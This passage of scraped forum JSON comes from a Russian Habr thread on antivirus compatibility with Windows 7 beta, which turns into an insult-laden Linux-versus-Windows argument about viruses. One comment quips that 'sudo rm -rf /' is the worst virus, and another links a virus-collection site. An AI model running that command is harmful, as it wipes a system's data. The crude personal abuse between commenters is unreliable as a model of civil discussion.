xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Windows 7 beta 1 32bit + Dr.Web AV-Desk= BSoD. После uninstalla в Safe Mode ось вернулась в работоспособное состояние.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Решение этой проблемы было положено на File Virtualization.<br/>\r\nВообще разработчики софта должны были заранее головой думать. Хотя вот разработчики QiP-а, кажется, до сих пор этого не поняли…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><i>>не надо туда смотреть, надо смотреть на общий процент, который даже до 3х не дорос (интересно как вы теперь будете трактовать приведенную мной ссылку =)</i><br/>\r\n<br/>\r\nТак же, как и в прошлый раз: <b>прочитаю</b> и <b>обдумаю</b> полученную информацию. Хотя в этот раз всё куда проще, чем в прошлый. Там надо было какие-то цифры сравнивать, а тут достаточно прочитать то, что написано внизу страницы:<br/>\r\n<br/>\r\n«This report was generated 12/31/2008 based on the last 53,892,847 unique visits to all tracked websites at that time.»<br/>\r\n<br/>\r\nКлючевые слова — «all tracked web-sites». Т.е. приведённая статистика — это статистика по посещениям определённых веб-сайтов. Что <i>слегка</i> отличается от статистики использования ОСей на десктопах, не находите?<br/>\r\nХотите делать подобные экстраполяции — на здоровье :)<br/>\r\n<br/>\r\nИ опять же, «выход в люди» не обязательно подразумевает что-то вроде «20% на десктопах домохозяек», «30% на десктопах домохозяек»… Или Вы будете утверждать, что и МакОСь до сих пор не «вышла в люди» (у неё ведь всего лишь чуть больше 5%, если отталкиваться от приведённой Вами статистики)?<br/>\r\n<br/>\r\n<i>>ну вы то конечно мастак выводы с свою пользу делать.</i><br/>\r\n<br/>\r\nВ чём я действительно мастак — так это в понимании и анализе прочитанного. Чего и Вам желаю.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Делюсь опытом: поставил Kaspersky AntiVirus 2009 [eng] — как результат, «синий экран сметри». Удалил Kaspersky в безопасном режиме, но синий экран, увы, никуда не делся :(<br/>\r\nБуду переустанавливать.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так надо было ставить не Kaspersky AntiVirus 2009, а специальную весию для Windows 7. <a href=\"http://www.kaspersky.com/windows7\">www.kaspersky.com/windows7</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">AVG имеет свойство ставиться через раз, но антивирус классный.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">о боже…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Про Avast зря вы так, исправился! :)</div>" ], "message_markdown": [ "Хде dr.web?", "Не совместимы:\n* Windows Live One Care\nотлично)))", "Это же уже давно не новость, и про антивирусы обзоры писали...", "forefornt за него ;)", "UFO just landed and posted this here", "UFO just landed and posted this here", "По поводу его совместимости в интернете ничего не нашёл. Если есть информация — поделитесь. Обязательно добавлю :)", "UFO just landed and posted this here", "ага, «ч т. д.» просто", "Ну я бы не сказал, что он один из лучших", "Да ну... Я думаю к выходу финала Avast подружится с w7.", "У меня на Windows 7 AVG Free конфликтовал с Мирандой!\nПри наборе текста в Миранде (независимо от плагинов) AVG Resident Shield отнимал 100% процессорного времени.\nТак что пути антивирусов неисповедимы :-)", "KIS 2009, 3 недели, все ок.", "А Comodo Internet Security x64 у меня не хочет ставиться на w7 x64 :(\nЭто может быть из-за того, что в качестве антивируса у меня стоитNod32?", "Лучше бы в осветили тему Windows 7 vs Вирусы", "UFO just landed and posted this here", "Avira antivir Free status — ok.", "Эээм. Лучше бы осветили Машины vs Бензин.", "почему-то в сети не ходят слухи об абсолютно новой уникальной системе активации Windows 7. Все больше про увеличенную производительность, другие улучшения. Не похоже на микрософт.", "Это не слухи, это факты. У меня знакомые виндузятники уже перекинулись на семёрку.", "", "а жалко. я оч хочу перенести вистовского сапера к себе в Кубунту)", "так понимаю ругать микрософт нынче не в моде, минусуют. Ну так плохого про их грядущую ОС я ничего и не сказал, более того судя по этим ранним обзорам мне она нравится. Разве что про их прежние выкрутасы.", "лично не тестировал, но может... вообще антивирусы крайне не дружелюбны друг к другу\nприкинь, у меня тут антивирусы друг друга за вирусы приняли — войну развернули — вот уррроды!))))\nтак прикольно — вчера каспЕр убил нода,\nа седня остаточные файлы ндоа самостоятельно скачали себя и подкрепление из инета за счет моего траффика, даж не спросив — и вместе мочат каспера)))\nес каспЕр проиграет — у меня полсистемы, грят, рухнет))\nно се равно за нод сёня болею — живучий падла)\n(с) bash.org.ru/quote/215770", "Странно, у меня аналогичная комбинация работает на ура.", "пробовали режим совместимости с Вистой? На х32 помог", "К войне!\nwww.trollim.ru :)", "а у меня аваст хоме без проблем работает", "для инсталлера в смысле", "спасибо, помогло", "Ребят, вам не надоело во всех топиках про виндовс «тонко» шутить о том что у вас линукс?", "UFO just landed and posted this here", "Делюсь:\nWindows 7 beta 1 64bit + Dr.Web AV-Desk = неделя, полет нормальный.", "Я думаю всё как обычно: вирусы начинают и выигрывают :)", "Миранда штука сложная, версий много, версий и вариантов установленных в ней плагинов и того больше.", "ну да, просто <~Kpyto> написал «независимо от плагинов». У меня 0.7.13 уникод", "Если приглядеться, во всех топиках про Виндоус отмечаются лишь Убунтоиды))\nЛинукс уже не тот)))", "Я просто поражен! Теперь вот в ожидание тем «Windows 7 vs пользователи», «Windows 7 vs здравый смысл», «Windows 7 vs котлтеты по-киевски» и «Windows 7 vs когда же всем надоест мусолить слухи о Windows 7».", "кстати никто еще написал на моей памяти про их новую командную оболочку, было бы интересно", ">> «Windows 7 vs когда же всем надоест мусолить слухи о Windows 7»\nпочему слухи? если можно поставить и проверить самому", "ИМХО с точки хрения разработчика не всегда удобно оставлять поддержку старой архитектуры. Ну не работают современные антивирусы с Windows 7, и что? Посмотрите на дату выходов антивирусов и Windows 7 beta.", "Угу, то есть автор сам все это поставил и убедился?\n>По поводу его совместимости в интернете ничего не нашёл... //CrazyMacho\nВот это тогда о чем?", "Мало того, что не слухи, так уже больше месяца — практики!", "Про PowerShell? Там про него столько писать, что для этого можно делать не только отдельный блог, но и отдельный хабр.", "Кинь ссылку про нее, ибо с нынешней очень страдаю.", "UFO just landed and posted this here", "а за что человека заминусовали? или теперь у имхо новый смысл? или человек не может высказать свою точку зрения?", "Уж очень мне не нравится, что MS так игнорирует существование вирусов, и скорее даже способствует их комфортному пребыванию в системе, чтобы поддержать разработчиков антивирусного по...", "Неправда, мы не все такие, я троля в виндовых топиках, наоборот, стараюсь не упоминать о том, что я предпочитаю трахаться с линуксом а не с виндой.\nПруфлинк: habrahabr.ru/blogs/windows7/48266/#comment_1247721", "Ходят слухи что вместо оптимизации кода они переписали скедьюлер.", "вобще, если вы не поняли, это была не шутка... ага", "UFO just landed and posted this here", "Антивирусы есть костыли для убогой архитектуры системы. Их вообще не должно существовать.", "У меня к сожалению после установки BSoD.\nТут кстати в перечне несовместимого с win 7 софта присутствует Dr.Web Desktop Security Suite", "Нас с ним из вредности минусанули =)", "а под вайном он что — не запускается?", "где вы таких слов набрались?", "В Радио-Т — Бобук подсказал :)", "Убунто-еды, хах.\nКоричневая гамма как бы намекает?", "пробовали уже — не хочет(", "Мощный пиар Windows`a идёт я смотрю. Аккуратное окучивание целевой аудитории. Какая там уже тема по счёту за последнюю неделю.\nА у меня система устойчивая к вирусам и я экономлю 800-1000 рублей в год на этом. Делай как я — ставь Linux. Экономичная, устойчивая к вирусам и падениям система.", "Интересен вопрос — как IceSword под вин7 работает?\nНу и другие rootkit hunter'ы?", "Пиар или нет, а вин7 (ИМХО) действительно сильно отличается от предшественниц... а ставить линух\\бсд\\вин\\етц — это уже имхо вопрос задач и религии... я сам линуксоид и был приятно удивлен, когда поюзал вин7", "Напишите свой очень популярный софт и посмотрим как вы справитесь с затыканием новых дыр. Как все начиналось например с ФайрФоксом — поначалу в нем вообще дыры редко находили, а сейчас вон как разошлись кулхацкеры...", "UFO just landed and posted this here", "Да я сейчас не говорю о своих возможностях в софтописании, и даже не о том что в через фф меня не поимел ни один кулхацкер, а о элементарной безопасности — пользователь системы может сделать с ней всё что угодно. Разве это так сложно, разделить права и для критических действий требовать прав Администратора? Или тот-же «автозапуск»... Как можно по-умолчанию запустить приложение с любого неизвестного носителя?\nВы считаете это случайностью?\nС вистой мне не удалось познакомиться, но там уже были скромные попытки повысить безопасность системы, потому и возникает вопрос какие работы проделаны в этом направлении в 7.", "А труъ-линуксоид он в своей кастовости чем-то таким отличен от обычного человека, чтобы к этому статусу стремиться? Если вы дейстивтельно думаете, что линуксоид — это синоним элитарности, то наличие планктона, стремящегося стать хотя бы селедкой, такую акулу как вы должно приятно греть. Элитисты они такие. Любят, когда у них под ногами копошится мелочь с щенячьм восторгом в глазах, и если это так, то вот это ваше сообщение — ничто иное, как попытка в своем элитарном статусе утвердиться среди аудитории и ничего более.", "вы бы хоть версию нода написали, а то нод 32 бета 4. А ведь есть версии ветки два и ветки три", "UFO just landed and posted this here", "UFO just landed and posted this here", "Ок, я ж ничего и не утверждал. Просто увидел дерово, решил по нему мыслью потечь. Ну раз не дерево, так что ж ;)\nА W7 реально уже в печень забрался. Я уже думаю js фильтр для хабра сочинить, чтобы отбрасывал все, где в заголовке windows 7.", "UFO just landed and posted this here", "UFO just landed and posted this here", "Если я тебе скажу скачать мозги, ума-то ведь у тебя не прибавится, даже если ты изыщешь способ, так?\nЕсли я _скачаю_ бету w7, для того, чтобы слухи развеять, мне ее придется, переразбив разделы, поставить, купить лицензии на все эти антивирусы или, если конечно у них есть шароварные версии, не покупать, но поочередно их установить, проверить и удалить. В общем, лучше бы ты молчал что ли. Я бы на тебя столько символов не тратил бы.", "Это 4я ветка. ESET NOD32 Antivirus 4.0.68 Beta", "О боже... что же они её так часто...", "Тут фишка на мой взгляд даже не столько в какой-то мифической элитарности других дистров, а в том, что пользователи Ubuntu — это как правило пользователи (линукса) начинающие и потому малоинтересные))\nХотя конечно и исключения бывают))", "чёж вы всё такое ставите, что у всех бсоды одни, уже не знаю сколько сижу на 7000. Пока ниодного. Всё настроил, всё работает.", "Avast free edition + Windows 7 Ultimate beta 7000 64bit\nникаких проблем замечено не было, так же как и предыдущей 32-битной бэте", "Был только один циклический вылет при загрузке системы, после установки Dr.Web, а в остальном всё очень даже ничего.", "Каждые полгода.\nГрафик.", "Не заглядывать в тред пробовали?", "ClamAV (ClamWin) — единственно свободный — не упомянули...", "UFO just landed and posted this here", "Аналогично.", "ох уж эти убогие людишки :)", "Так, а где Панда?!!! :)", "Незачот, информационные и биологические системы работают на совершенно разных физических принципах.", "> с точки хрения разработчика\nОпечаточка по Фрейду :)", "Спасибо за информацию. Еще бы хотелось увидеть подобный список совместимости 7-ки с разными firewall-ами.", "UFO just landed and posted this here", "Истиный ты! Очень приятно. Будем знакомы.\n/истиный Я.", "UFO just landed and posted this here", "«Но — график. У меня есть график!\nА всё что не по графику — нафиг-нафиг!»\n© Несчастный Случай :)", "Совместимы:\nNOD32.v3.0.672.Home.Edition\nПользуюсь этим антивирусом с начала установки Семёрки на компьютер. Работает без проблем и глюков.", ">Насмешил блинн...\nЗнаток архитектуры ОС... 21 от роду...\nсоплю зеленую подотри...\nВо-первых, мой тупорылый друг, многоточия в конце каждого предложения — признак говна в башке и неспособности четко формулировать свои мысли.\n>стратегии паразитизма идентичны.\nЧто в биосистемах что в содиальных что в IT.\nПаразиты существовали... существуют и будут существовать... почти в любой сложной системе.\nВо-вторых, тупорылый быдлан, если тебя в школе не учили, чем материальное взаимодействие отличается от информационного — то это твои быдланские проблемы.\nС тобой даже можно было бы даже согласиться, если задача компьютерных вирусов была бы выживание за счет вычислительных ресурсов, но они в первую очередь занимаются сбором, уничтожением и модификацией информации (и вовсе не для выживания, нет), соответственно термин «паразитирование» к ним не применим.\n>В любой современной ОС возможно существование паразитов... ну разве что уж совсем примитивных.\nСказал — как в лужу пернул. Для Linux вирусов нет. Для AS/400 вирусов нет. Для Юниксов вирусов нет. Не знаю, есть ли они на Маках, но подозреваю, что тоже нет, ибо *BSD. Вирусы — чисто виндовая болезнь.", "Может. Но если она не модная — его минусуют", "Norton 360 — а остальные 5(6) дней в году он систему не защищает?", "А вот ху*ни не надо.\nРуткиты вообще изначально на юниксе появились \\+ на данный момент зарепорчено ~25 вирусов под Linux, и если нужно будет напишут еще 2500.\nВирус — это вредоносное ПО, а между простым ПО и вредоносным — 1 шаг, вы даже не сразу поймете, что вы только что запустили через sudo.", "↑ Достойный диалог двух IT-специалистов.", "какая-то воздушная шутка", "Добавил Dr.Web ;)\nСпасибо за наводку.", "Достали с хвалами W7, никто толком не пользовались, а все хвалят.\nАнтивирусы не работают только по незнанию/глупости програмистов (как и многие дрова автоматом не ставятся) пару байт поменять и все заработало бы.\nУважаю W7 только за теоретически большую технологичность (большее отделение GDI от ядра) и частично лучший интерфейс.\nНо пока на замену XP не очень тянет. Лучше висты, но не быстрее XP. Явно видно на слабых компах.", "я думаю имеется в виду 360 градусов... ;)", "UFO just landed and posted this here", "UFO just landed and posted this here", "> Долго ржал...\nvx.netlux.org/vl.php\n>А как же классика Вирус Морриса?\nВот их 20-30 штук\n> 2-3 есть...\nТы специально херню несешь? Сколько из них запустятся на современных системах? И сколько из них не надо компилить вручную «по приколу»?\nКак можно сравнивать даже несколько сотен вирусов (включая древнее гавно мамонта и игрушки для красноглазиков) и десятки и сотни тысяч вирусов под винду?\n> Особенно учитывая мобильные платформы включая Symbian.\nИ не менее 10000 под MsDos.\nИ несколько даже под спектрум Z80\nТак же под OS/2 ,QNX и пр. включая экзотику SAP R/3 на ABAP писанный.\nТы издеваешься, да?\nВесь твой высер рушится об очевидные факты:\n1\\. Для каждой нормальной системы число вирусов исчисляется максимум сотнями, а под винду их тысячи и тысячи.\n2\\. В любой нормальной системе нет понятия «антивирус», а уязвимости обнаруживаются и закрываются достаточно быстро. В винде он мало того что есть, так еще и за деньги. Это из серии «1000 способов сравнительно честного отъема денег у населения».", "> Руткиты вообще изначально на юниксе появились\nКогда это было?\n> + на данный момент зарепорчено ~25 вирусов под Linux\nЭто охуенно много. Сколько из них не надо компилить вручную?\n> и если нужно будет напишут еще 2500.\nТолько не пишут, гады.\n> Вирус — это вредоносное ПО, а между простым ПО и вредоносным — 1 шаг, вы даже не сразу поймете, что вы только что запустили через sudo.\nВероятность схватить вирь на никсах/БСД минимальная. Единственный реальный вариант — непреднамеренная ошибка в какой-нибудь программе, которую все проморгали.", "UFO just landed and posted this here", "UFO just landed and posted this here", "Чувствуется новая архитектура AVG :)", ">на данный момент зарепорчено ~25 вирусов под Linux\nСколько из них хотя бы соберётся на современном дистре (я уже не спрашиваю о том, сколько из них заработает?\n>и если нужно будет напишут еще 2500.\n— Да я если захочу — у меня завтра же Феррари будет?\n— Ну а почему тогда у тебя её нет?\n— А потому что я не хочу!\nКогда наступит это самое «если нужно будет»? Серверов под Линуксом — хоть Камазами вывози. Выгода от их инфицирования — на порядки выше, чем от десктопа Васи Пупкина. А вирусов как не было — так и нет.\nХотя не, бывают. Я помню, как сам комрадо Линус патчил ядро чтобы какой-то вирус собрался и заработал.\n>Вирус — это вредоносное ПО, а между простым ПО и вредоносным — 1 шаг, вы даже не сразу поймете, что вы только что запустили через sudo.\nСамый страшный вирус — это sudo rm -rf /.\nНо может мы не будем валить в одну кучу уязвимости непосредственно системы и кисель в головах пользователей?", "> Мистер зеленая сопля.\nТы что-то многоточия перестал ставить после предложений — протрезвел?\n> В биосистемах происходит именно информационное взаимодействие ДНК, РНК, перенос генов Ti — плазмидами и пр.\nЧисто информационных взаимодействий в организме намного меньше чем, химических (материальных). В лбом случае, это неважно. КВ нельзя считать паразитом.\n> При чем здесь выживание ???\nА для чего вирусу гриппа лезть в твой организм? Потому что там тепло и много еды, можно как следует расплодиться.\nКомпьютерный вирус работает для того, чтобы нанести экономический ущерб, распространить рекламу, или выкрасть данные. Сосуществование является средством, а не целью. Как только он свою задачу выполняет/появляется эффективная защита от него — он больше не нужен, его без сожаления выбрасывают.\nЯ уж промолчу про то, как ты прикрутил данное тобой определение к КВ.\n> Чиновник тоже паразит хотя взятки берет не от того что выживает...\nОпять таки, как ты прикрутил свое определение к данному явлению?\nЭкономический паразитизм не ставит целью выживание, он ставит целью повышение личного благосостояния, не производя полезный продукт.", "> Обосрался но признать не хотим?\n> Да неебет сколько запустится. Они сушествуют и это ФАКТ!\nЯ это признаю, когда ты расскажешь сколько из них выполняют то, ради чего написаны, ибо неработающий вирус — не вирус. Далее, архитектурно оно если и возможно, то дырку быстро залатают, вместо того, чтобы доить из бедного юзера бабки.\n> Можеш лить слюнями сколько угодно но ты ОБОСРАЛСЯ со своими заявами и это ФАКТ!\nОттого, что ты пишешь желаемое большими буквами оно реальнее не станет, нет.", "В висте еще были сложности с тем что приложения по старой памяти полагают что они могут писать в папку с софтом и решение эьтой проблемы было положено на разработчиков софта. В 7 ситуация как-нибудь изменилась? Я честно говоря, смутно представляю как это может решить ос, но в MS то их много )", "> Сколько из них хотя бы соберётся на современном дистре (я уже не спрашиваю о том, сколько из них заработает?\nНе знаю — попробуйте, ссылка была дана для того, чтобы показать, что вирусы под *никс есть, и «не убогая архитектура» не помогла.\n> Выгода от их инфицирования — на порядки выше, чем от десктопа Васи Пупкина\nВы не понимаете, для чего создаются вирусы. 20 000 инфицированных виндовых воркстейшенов намного выгоднее чем один хрен пойми чей сервер под бсд. Все китайские ботнеты ориентированы на виндовые машины за которыми сидят обычные пользователи, потому что их заразить в 1000 раз проще чем сервер за которым следит квалифицированный администратор. Туда же — 20000 айсикью аккаунтов + 20000 адресных книг почтовых клиентов и спам, спам, много спама.\nКороче — этот никсовый сервер нахрен никому не нужен. Вот когда нужно будет повалить 20000 линуксовых воркстейшенов — тогда всё и напишут. Это сейчас китайцы переписывают винапи, а если нужно будет они настрогают вам необходимое количество троянов и другой нечести под линукс.\n> Но может мы не будем валить в одну кучу уязвимости непосредственно системы и кисель в головах пользователей?\nНа эту тему можно достаточно долго беседовать, вирусов, которые используют уязвимости операционной системы в стопицод раз меньше, чем те, которые используют уязвимость в ДНК человека, да и комментарий мой был не об этом, а том, что отсутствие вирусов под линукс из-за якобы «архитектуры» системы — это миф.", "Интересна судьба Outpost Antivirus. Под Вистой 64 отлично работает, что не удивительно. В новой винде?", "Я через 10 пришел.\nНадо было просто работать, а не как обычно...\nПо теме — Win7 стоит в VirtualBox и на соседнем тестовом компьютере.\nХороша. Но ClamWin я поставил, на всякий :)", "Блин. Через 10 лет использования FreeBSD и Linux.", "Меня улыбнуло, что сообщения про компоненты самой системы оно говорит, что «от неизвестного поставщика».", "Не надо задавать мне вопросов, просто прочитайте еще раз внимательно мой комментарий, потом свой, потом ещё раз мой и просто осознайте что-нибудь.", ">Не знаю — попробуйте, ссылка была дана для того, чтобы показать, что вирусы под *никс есть, и «не убогая архитектура» не помогла.\nВы серьёзно считаете, что с тех пор, как были написаны эти вирусы, в Линуксе ничего не улучшилось с точки зрения безопасности (я не имею в виду закрытие уязвимостей)?\n>Туда же — 20000 айсикью аккаунтов + 20000 адресных книг почтовых клиентов и спам, спам, много спама.\nКороче — этот никсовый сервер нахрен никому не нужен\nДействительно, кому нахрен нужен никсовый сервер, на котором хранится база почтовых аккаунтов размером в десятки тысяч? Та же гора спама. Но вот написать под Винду — куда проще. О том и речь.\n>да и комментарий мой был не об этом, а том, что отсутствие вирусов под линукс из-за якобы «архитектуры» системы — это миф.\nВы всерьёз будете отрицать, что архитектуры Виндовса и Линукса предоставляют слегка разные возможности для вирьмейкерства, и будете всерьёз утверждать, что единственная причина отсутствия вирусов — малая распространённость?\nДа и о чём мы вообще говорим? О технической возможности заразить ELF? Дык ежу понятно, что она есть. Но ведь это ещё не всё, правда же? Для инфицирования работающей системы этого явно недостаточно. А давайте-ка пройдёмся по списку вирусов по приведённой Вами ссылке (их там, кстати, 22, а не 25). Начинаем по порядку:\n«Virus.Linux.Alaeda\nAlaeda is a non-resident virus. It infects systems running Linux, and is written in Assembler. It infects ELF format files in the current directory.»\nАга. Скачать, дать права на исполнение, запустить. Понятно.\n«SB.Badbunny, a fairly novel OpenOffice macro virus that attempts to spread via IRC.... Badbunny doesn't just use the OpenOffice macro language, but has components written in Ruby, JavaScript, Python and Perl.»\nТ.е. я должен иметь у себя установленным весь этот комплект, да? Понятно.\n«Linux/Binom\n...\nELF type viruses are very specific with regards to operating system type/kernel/version so the chance that the virus will effectively infect other binary files is pretty low.\n...\nMethod of Infection — * Manual execution of the binary ELF file.»\nОпять самому скачать, дать права на исполнение и запустить руками?\nМдя. Что-то мне и читать-то дальше расхотелось. Ничего интересного...", "UFO just landed and posted this here", "меня поражает точка зрения: виста тормозит, windows 7 тормозит на моём железе. а у меня 386-й на шкафу лежит. там только 95-й более менее хорошо работает. ну а 3.11 — вообще летает.\nпочему если новая ОС требует современного железа, то это дерьмо, а если для новой игрушки нужен новый комп — то это в порядке вещей?", "как-то странно оно все.\nУ меня (и у знакомых) Доктор веб = Синий Экран Любви\nкасперский — поставился, работал, но ноут уходил в зависание очень часто. Удалил — все норм.\nстранно как-то оно...", "Смысл твоего комментария в том, что ты решил мне предъявить древнее говно мамонта в виде когда-то написанного руткита под юникс и 25 нерабочих вирусов.\nМне не интересно говно мамонта. Мне интересно какую угрозу они представляют сейчас (а они никакой угрозы не представляют, использованные ими дыры давно закрыты).\nДалее, я никогда не утверждал, что под юниксы невозможно написать вирус, я лишь констатировал, что в данных момент вирусов под них нет (ведь нерабочий вирус — это не вирус). Цитирую сам себя:\n> Для Linux вирусов нет. Для AS/400 вирусов нет. Для Юниксов вирусов нет. Не знаю, есть ли они на Маках, но подозреваю, что тоже нет, ибо *BSD.", "> я никогда не утверждал, что под юниксы невозможно написать вирус, я лишь констатировал, что в данных момент вирусов под них нет (ведь нерабочий вирус — это не вирус)\nопаньки какая нелепая отмаза пришла, а чуть выше вы писали про некую убогую архитектуру\n> Вирусы — чисто виндовая болезнь.\nа вот этот п... жь как объяснить?\n> 25 нерабочих вирусов.\nвы их все попробовали уже и все 25 нерабочих? вы нихера не понимаете например что такое бекдор, его нужно только запустить и ему похер на текущую версию ядра — он все необходимые данные с вашего компьютера вышлет куда надо.\nсоплю всё же подотрите.", "> Вы серьёзно считаете, что с тех пор, как были написаны эти вирусы, в Линуксе ничего не улучшилось с точки зрения безопасности (я не имею в виду закрытие уязвимостей)?\nБля, там 2 бекдора — почитайте хотя бы как они работают им глубоко похер на уязвимости или версию самого ядра.\n> Действительно, кому нахрен нужен никсовый сервер, на котором хранится база почтовых аккаунтов размером в десятки тысяч? Та же гора спама. Но вот написать под Винду — куда проще. О том и речь.\nесли он кому-то станет нужен — его будут ломать целенаправленно, сейчас намного выгоднее запустить троянчика на 20000 машин чтобы потом с них рассылать спам и ддосить произвольные веб-ресурсы. Причем чтобы заразить 20000 машин нужно послать троян 500 тысячам виндовс пользователей — ессно их найти намного проще, чем 500 тысяч десктопных машин с линуксом.\n> Вы всерьёз будете отрицать, что архитектуры Виндовса и Линукса предоставляют слегка разные возможности для вирьмейкерства, и будете всерьёз утверждать, что единственная причина отсутствия вирусов — малая распространённость?\nЭто не единственная причина, есть еще вторая — централизованная установка программ из репозиториев, ведь словить оттуда вирусняк практически нереально. На этом разница между линукс и виндовс (последние версии) для вирьмейкера _заканчивается_. Архитектура — это миф, еще раз повторю.\n> Да и о чём мы вообще говорим? О технической возможности заразить ELF? Дык ежу понятно, что она есть\nКак видно из комментариев это понятно не всем ежам, я выше пытаюсь одному из них это объяснить. А вы мне все пытаетесь уязвимостями в самих ОС тыкать =) Вот вам информация для изучения 1 и 2 — ищите там уязвимости в компонентах\\ядрах ОС. Сравните проценты.", "> опаньки какая нелепая отмаза пришла, а чуть выше\nЧто тебе показалось в моих словах — твои личные проблемы, меня они не нисколько не ебут; я имел ввиду именно то, что написал. Пока ты демонстрируешь типично быдляцкое поведение: искажаешь смысл чужих слов, а потом яростно их разоблачаешь.\n> вы писали про некую убогую архитектуру\nА она убогая. Когда сидеть под администраторским аккаунтом в системе считается нормальным, а глючный драйвер принтера способен вызвать синий экран — это ненормальная архитектура.\n> а вот этот п... жь как объяснить?\nПредъявить рабочий вирус под линь.\n> вы их все попробовали уже и все 25 нерабочих?\nПробовать их запустить должен ты, поскольку именно ты про эти вирусы написал.\n> вы нихера не понимаете например что такое бекдор, его нужно только запустить\nБгагага, и как же его запустить без ведома пользователя? Не под рутом он за пределы домашнего каталога не выйдет, а нормальный человек с правами рута никогда не запустит то, что не ставил сам. Здесь причина заражения человеческий фактор, а не дырявость ОС.\n> соплю всё же подотрите.\nСосни хуйца, быдло.\n> и ему похер на текущую версию ядра — он все необходимые данные с вашего компьютера вышлет куда надо.", "Не хочет запускаться AVG 8 на Windows 7 64 bit... :(", ">Бля, там 2 бекдора — почитайте хотя бы как они работают им глубоко похер на уязвимости или версию самого ядра.\nВы, по-моему, не поняли смысл того, что процитировали при написании этого.\n>Архитектура — это миф, еще раз повторю.\nПовторять можно что угодно и сколько угодно, вот только не всегда это имеет смысл.\n>А вы мне все пытаетесь уязвимостями в самих ОС тыкать =)\nЯ? И где же, интересно? Слово «уязвимость» я, по-моему, употребил 1 раз: во фразе «я не имею в виду закрытие уязвимостей».\n>Вот вам информация для изучения 1 и 2 — ищите там уязвимости в компонентах\\ядрах ОС. Сравните проценты.\nНу хорошо, раз Вы хотите поговорить об уязвимостях — давайте поговорим. Вы, кстати, сами по ссылкам ходили, сравнивали? :)\nПо первой ссылке:\nПо количеству уязвимостей разные Винды и ядро 2.6 примерно равны, да. А вот на цвета Вы кажется не обратили внимания. И на ядро 2.4, видимо, тоже. И не нужно говорит, что оно, мол старое. Ядро 2.6 вышло в 2003 году. А в обзоре участвуют Вин2000 и ВинХР, выпущенные раньше, так что ядро 2.4 вполне имеет право участвовать в сравнении наравне со всеми.\nПо второй ссылке «Уязвимости в ядрах ОС за 2007 год». Давайте сравним.\nПоказатели: максимальная опасность (низкая/средняя/высокая/критическая), количество уязвимостей, количество исправленных уязвимостей.\nLinux kernel: Средняя, 35, 35\nLinux Debian: Низкая, 1, 1\nLinux Fedora: Низкая, 4, 4\nGentoo Linux: Высокая, 7, 7\nLinux Red Hat: Низкая, 6, 6\nSuSE Linux: Низкая, 1, 1\nLinux rPath: Низкая, 2, 2\nUbuntu Linux: Низкая, 1, 1\nMicrosoft Windows Vista: Критическая, 18, 16\nMicrosoft Windows 2003: Критическая, 33, 30\nMicrosoft Windows XP: Критическая, 35, 29\nMicrosoft Windows 2000: Критическая, 28, 26\nЯ не знаю, что такое этот мифический «Linux kernel» (подозреваю, что ванильное ядро с kernel.org, которое используют разве что кулхацкеры, которым неймётся). По «человеческим» дистрибутивам (давайте будем честными: участие в обзоре Gentoo выглядит как-то странно. Давайте ещё Слакварь приравняем к Windows Server или RHEL) статистика такова: по Линуксам максимальная опасность — низкая,\nколичество уязвимостей — от 1 до 6, незакрытых уязвимостей —.\nПо Виндам статистика слегка другая: максимальная опасность — критическая, количество уязвимостей — от 18 до 35, незакрытых уязвимостей — от 2 до 6.\nИ?\nP.S.: спасибо за ссылки, ушли в закладки как раз для таких случаев ;)", "А вот некоторые предпочитают с людми.", "Kim, бесполезно объяснять человеку все прелести настройки линукс, если тот осилил только Gnome :-P © ibash.org.ru", "Мусье не поняли моей самоиронии?", "Я не собирался и не хочу обсуждать качество уязвимостей в компонентах ОС, ссылки были даны лишь для того, чтобы показать вам, что\n1) уязвимостей в системе с «идеологически верной» архитектурой как грязи\n2) как только линукс станет достаточно популярен и китайцы возьмутся за него — доля критических уязвимостей начнет потихоньку расти, поскольку их начнут лучше искать\nоднако вы надеялись, что вам начну доказывать что виндовс более защищенная и безопасная система, чем линукс. нет, не буду =)\n> И?\nи давайте уже подведем итоги нашей дискуссии:\n— вирусы под линукс — не миф\n— архитектура — миф (каких-то аргументов против этого я не увидел)", "только касперский. работает вроде стабильно.", ">Я не собирался и не хочу обсуждать качество уязвимостей в компонентах ОС\nЯ тоже не собирался, поэтому сразу «отделил» эту тему, но Вы таки на неё перешли. А теперь говорите, что не хотите её обсуждать %)\n>ссылки были даны лишь для того, чтобы показать вам, что\n1)уязвимостей в системе с «идеологически верной» архитектурой как грязи\nВы вообще о чём? о_О\nАрхитектура системы и уязвимости в её компонентах — вещи слегка ортогональные.\n>как только линукс станет достаточно популярен и китайцы возьмутся за него — доля критических уязвимостей начнет потихоньку расти, поскольку их начнут лучше искать\nРассуждения из серии «если бы да кабы» не имеют под собой основания в 100% случаев.\n>вирусы под линукс — не миф\nДа, под Линукс существуют вредоносные программы, которые при ручном запуске чего-то делают с файлами, на которые у них хватает прав доступа. А при запуске от рута даже корёжат системные файлы. Но самой страшной из таких программ всё равно остаётся rm, котарая установлена на 100% машин с Линуксом.\n>архитектура — миф (каких-то аргументов против этого я не увидел)\nА Вам не кажется, что аргументы должен предоставлять тот, кто что-то утверждает? А то у нас получается «Существование розовых слонов — факт. Каких-то аргументов против этого я не увидел».\nА вся ваша аргументация в данной ветке заключается в следующем:\n1\\. \"... отсутствие вирусов под линукс из-за якобы «архитектуры» системы — это миф. \"\n2\\. «Архитектура — это миф, еще раз повторю.»\n3\\. «архитектура — миф (каких-то аргументов против этого я не увидел)»", "> Вы вообще о чём? о_О\n> Архитектура системы и уязвимости в её компонентах — вещи слегка ортогональные.\nАрхитектура->ядро->уязвимости (не вижу смысла здесь 